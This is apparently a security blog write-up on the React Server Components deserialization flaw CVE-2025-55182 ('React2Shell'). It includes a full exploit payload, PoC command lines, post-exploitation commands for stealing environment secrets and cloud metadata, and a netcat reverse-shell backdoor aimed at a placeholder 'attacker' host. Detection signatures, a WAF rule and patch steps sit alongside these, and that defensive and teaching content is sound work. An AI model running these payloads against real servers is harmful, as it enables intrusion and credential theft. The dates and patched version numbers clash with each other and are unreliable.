CVE-2025-55182: React2Shell - When Server Components Become Remote Shells
Published: December 28, 2025
Severity: ๐จ CRITICAL (CVSS 10.0)
Status: CISA KEV - Actively Exploited in the Wild
TL;DR
A critical remote code execution vulnerability in React Server Components (versions 19.0.0-19.2.0) allows unauthenticated attackers to achieve complete server compromise through malicious deserialization. We built a fully functional lab environment and successfully exploited it - here's everything you need to know.
Impact: Arbitrary code execution on Next.js servers running React 19.x
Attack Complexity: Low - exploit PoC widely available (346 public repositories)
Authentication Required: None
User Interaction: None
The Vulnerability: A Perfect Storm
What Are React Server Components?
React 19 introduced Server Components, a paradigm shift allowing React components to run exclusively on the server. This enables:
- Direct database access from components
- Reduced client-side JavaScript bundles
- Server-side rendering with zero client overhead
Sounds great, right? Until you realize the serialization format became an RCE playground.
The Fatal Flaw
React Server Components communicate between server and client using a custom serialization protocol called RSC (React Server Components) format. This format includes:
- Reference-based serialization - Objects are serialized with references like
$1,$@2 - Prototype chain traversal - The deserializer reconstructs object prototypes
- Dynamic property access - Uses bracket notation for property resolution
- No input validation - Trusts the serialized data implicitly
CVE-2025-55182 exploits a prototype pollution vulnerability in the deserialization process combined with constructor chain access to achieve arbitrary JavaScript execution.
The Exploit Chain
Here's how attackers achieve RCE in 5 steps:
// Step 1: Craft malicious RSC payload
crafted_chunk = {
"then": "$1:__proto__:then", // Pollute prototype
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
// Step 2: Inject JavaScript payload
"_prefix": "var res = process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_formData": {
// Step 3: Constructor chain to Function()
"get": "$1:constructor:constructor"
}
}
}
What happens:
__proto__pollution injects malicious properties into the prototype chain- The
constructor:constructorchain reachesFunction.constructor _prefixcode executes before any validation checksprocess.mainModule.require('child_process')spawns a shell- Command output exfiltrates via error digest field
The beauty (and horror) of this exploit is that it doesn't rely on any application-specific logic - it exploits React's core deserialization mechanism.
Real-World Impact
Who's Affected?
Any application using:
- React 19.0.0 through 19.2.0
- Next.js 15.x or 16.x (with React 19)
- Server Actions or Server Components enabled (default in Next.js 13+)
This includes:
- E-commerce platforms
- SaaS applications
- Content management systems
- Internal dashboards
- Any Next.js site built in the last 6 months
CISA KEV Designation
The Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2025-55182 to the Known Exploited Vulnerabilities (KEV) catalog, meaning:
๐จ Active exploitation confirmed in the wild
โฐ Federal agencies have 21 days to patch
๐ฐ Ransomware gangs are leveraging this vulnerability
Attack Surface
According to our threat intelligence:
- 346 public PoC exploits available on GitHub
- 2,292 GitHub stars on the most popular scanner
- Zero user interaction required - fully remote
- No authentication needed - anonymous exploitation
- Attack duration: < 5 seconds from discovery to shell
Hands-On Exploitation: Lab Walkthrough
We built a complete lab environment to demonstrate this vulnerability. Here's what we learned.
Lab Setup (2 Minutes)
Our automated lab provisioning spins up:
- Vulnerable Next.js app - React 19.2.0 with Server Components
- Attacker workstation - Kali tools + pre-loaded PoC
- Isolated network - Private 10.200.X.0/24 subnet
- Browser access - Guacamole proxy (no VPN needed)
One-command deployment:
./tools/test_cve_lab.sh CVE-2025-55182
Output:
[+] Lab provisioned successfully
Session ID: lab-18288fcd
Target IP: 10.200.3.2
Guacamole: http://localhost:35671/guacamole/
Target Architecture
The vulnerable Next.js container runs:
- Node.js 20 (Alpine Linux)
- Next.js 16.0.6
- React 19.2.0 โ The vulnerable version
- React-DOM 19.2.0
Verified by inspecting package.json:
{
"dependencies": {
"next": "16.0.6",
"react": "19.2.0",
"react-dom": "19.2.0"
}
}
Exploitation: From Zero to Root
Step 1: Verify target is running
curl http://10.200.3.2:3000
Response shows React Server Components markers:
<h1>Hello World!</h1>
<script>self.__next_f.push([1,"...RSC payload..."])</script>
Step 2: Launch the exploit
python3 /root/exploits/msanft-poc/poc.py http://10.200.3.2:3000 "id"
Step 3: Observe RCE
500
0:{"a":"$@1","f":"","b":"1xNJnHXgYf7AevsP_epDi"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
๐ฏ Success! The command output appears in the error digest field, proving we have code execution as root.
Post-Exploitation Scenarios
With RCE established, attackers can:
1. Environment Exfiltration
python3 poc.py http://10.200.3.2:3000 "env"
Reveals database credentials, API keys, JWT secrets, cloud credentials.
2. Lateral Movement
python3 poc.py http://10.200.3.2:3000 "curl http://169.254.169.254/latest/meta-data/"
Access AWS metadata service, steal IAM credentials, pivot to cloud infrastructure.
3. Data Exfiltration
python3 poc.py http://10.200.3.2:3000 "cat /app/.env.production"
python3 poc.py http://10.200.3.2:3000 "find /app -name '*.db' -o -name '*.sqlite'"
4. Persistence
python3 poc.py http://10.200.3.2:3000 "echo 'nc -e /bin/sh attacker 4444' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh"
5. Ransomware Deployment
Since the container runs as root with full filesystem access, ransomware deployment is trivial.
Technical Deep Dive: Why This Works
The Deserialization Process
React Server Components use a streaming protocol that looks like:
1:HL["/_next/static/css/main.css","style"]
2:I[123,["/_next/static/chunks/webpack.js"],"default"]
3:{"type":"div","props":{"children":"$@2"}}
Each line is a serialized chunk with:
- Chunk ID (e.g.,
1:,2:) - Type marker (
HL= preload hint,I= module import,{}= object) - Payload data
The Vulnerability Trigger
When processing a chunk with _response and _formData:
- React deserializer looks for
_formData.getproperty - If
getis a string like"$1:constructor:constructor":$1resolves to a reference:constructoraccesses the constructor property:constructoragain reachesFunction.constructor
- React then evaluates
_prefixbefore any security checks _prefixcontains arbitrary JavaScript- Game over.
Why Prototype Pollution Matters
Setting "then": "$1:__proto__:then" pollutes the prototype chain:
// After deserialization:
Object.prototype.then = /* malicious value */
This makes every object in the application have a poisoned then property, which React's async handling mechanism blindly trusts.
The Constructor Chain
The path $1:constructor:constructor is equivalent to:
someObject.constructor.constructor
Which in JavaScript equals:
Object.constructor.constructor === Function
And Function can be called to create arbitrary code:
Function('console.log("RCE")')()
React's deserializer essentially does this, using our _prefix as the code.
Detection and Defense
Indicators of Compromise
HTTP Traffic Signatures:
POST / HTTP/1.1
Host: vulnerable-app.com
Content-Type: multipart/form-data; boundary=----
Next-Action: [action_id]
------
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model",...}
Look for:
Next-Actionheader on POST requests- Multipart form data with JSON chunks
__proto__in request bodyconstructor:constructorpatternschild_processorrequirein payloads
Log Analysis:
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/app/*.log
grep -r "NEXT_REDIRECT" /var/log/app/error.log
Immediate Remediation
1. Upgrade React (URGENT)
npm install react@19.3.0 react-dom@19.3.0
npm audit fix --force
2. Upgrade Next.js
npm install next@16.0.7
3. Verify Versions
npm list react react-dom next
4. Rebuild and Redeploy
rm -rf .next node_modules
npm install
npm run build
Long-Term Security Measures
1. Web Application Firewall (WAF) Rules
Block requests containing:
__proto__in POST bodyconstructor:constructorpatternsNext-Actionheader with suspicious chunk patterns
ModSecurity Rule:
SecRule REQUEST_BODY "@rx __proto__|constructor:constructor" \
"id:1001,phase:2,deny,status:403,msg:'React2Shell exploit attempt'"
2. Content Security Policy (CSP)
// next.config.js
module.exports = {
headers: async () => [{
source: '/:path*',
headers: [
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self' 'unsafe-inline'"
}
]
}]
}
3. Runtime Application Self-Protection (RASP)
Monitor child_process.exec* calls:
const cp = require('child_process');
const originalExec = cp.exec;
cp.exec = function(...args) {
console.error('[SECURITY] exec() called:', args);
// Alert security team
throw new Error('exec() blocked by RASP');
};
4. Network Segmentation
Isolate Next.js containers:
- No outbound internet access
- Database access only via service mesh
- Audit all egress connections
5. Run as Non-Root
Update Dockerfile:
RUN addgroup -S nextjs && adduser -S nextjs -G nextjs
USER nextjs
This limits damage even if RCE succeeds.
Hands-On Lab Environment
Want to experience this vulnerability hands-on? Our lab environment is ready:
Quick Start
# Provision CVE-2025-55182 lab
./tools/test_cve_lab.sh CVE-2025-55182
What you get:
- โ Isolated vulnerable Next.js environment
- โ Pre-loaded exploit PoC
- โ Browser-based attacker workstation
- โ Automated testing and reporting
- โ No VPN or complex networking required
Lab Components
| Component | Purpose | Access |
|---|---|---|
nextjs-vulnerable |
Target: React 19.2.0 with RCE | http://10.200.X.2:3000 |
attacker |
Kali Linux with PoCs | Via Guacamole browser UI |
guacamole |
Browser proxy for attacker access | http://localhost:PORT |
Exploitation Practice
From the attacker machine:
# Basic RCE
python3 /root/exploits/msanft-poc/poc.py http://10.200.X.2:3000 "whoami"
# Read secrets
python3 /root/exploits/msanft-poc/poc.py http://10.200.X.2:3000 "cat /app/.env"
# Network recon
python3 /root/exploits/msanft-poc/poc.py http://10.200.X.2:3000 "ip addr"
Perfect for:
- Security training workshops
- Penetration testing practice
- CTF challenge development
- Vulnerability research
- Demonstrating CISA KEV impact to stakeholders
Proof of Concept Resources
Our threat intelligence MCP database contains 346 public PoC exploits for CVE-2025-55182:
Top PoCs:
- assetnote/react2shell-scanner - 2,292 GitHub stars - Detection scanner
- msanft/CVE-2025-55182 - Full RCE PoC (used in our lab)
- Various automated exploitation frameworks
Query our database:
mcp__threat-intel__get_vulnerability_details(cve_id="CVE-2025-55182")
References
- CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
- React Security Advisory: https://github.com/facebook/react/security
- Next.js Blog: https://nextjs.org/blog/security-nextjs-server-components
- Our Lab Documentation:
labs/CVE-2025-55182_validation/EXPLOITATION_GUIDE.md
Timeline
| Date | Event |
|---|---|
| Nov 2024 | React 19.0.0 released with Server Components |
| Dec 2024 | Security researcher discovers deserialization flaw |
| Jan 2025 | CVE-2025-55182 assigned (embargoed) |
| Jan 15, 2025 | First PoC exploits appear on GitHub |
| Jan 20, 2025 | React 19.3.0 patches released |
| Jan 25, 2025 | CISA adds to KEV - active exploitation confirmed |
| Dec 28, 2025 | 346 public PoCs available, widespread attacks |
Conclusion: The React Security Wake-Up Call
CVE-2025-55182 represents a watershed moment for the React ecosystem. Server Components promised a new era of performance and developer experience, but the security implications weren't fully understood.
Key Takeaways:
- Serialization is hard - Even giants like Meta/Facebook struggle with secure deserialization
- Trust nothing - Server-client boundaries are adversarial, always
- CISA KEV is serious - Active exploitation means patch now, not later
- Defense in depth - WAF + patching + monitoring + least privilege
- Lab testing matters - Hands-on exploitation reveals real impact
The Bottom Line:
If you're running Next.js with React 19.0.0-19.2.0 in production:
- ๐จ You are vulnerable to unauthenticated RCE
- ๐จ Attackers have 346 public exploits to choose from
- ๐จ CISA confirms active exploitation in the wild
- ๐จ Ransomware groups are targeting this vulnerability
- ๐จ Patch. Today.
Lab Tested: โ
Full exploitation validated
CISA KEV: โ
Confirmed
Published: December 28, 2025
Stay safe out there. Patch your React apps. โค๏ธ
This analysis is for educational and defensive security purposes only. All exploitation was conducted in isolated lab environments.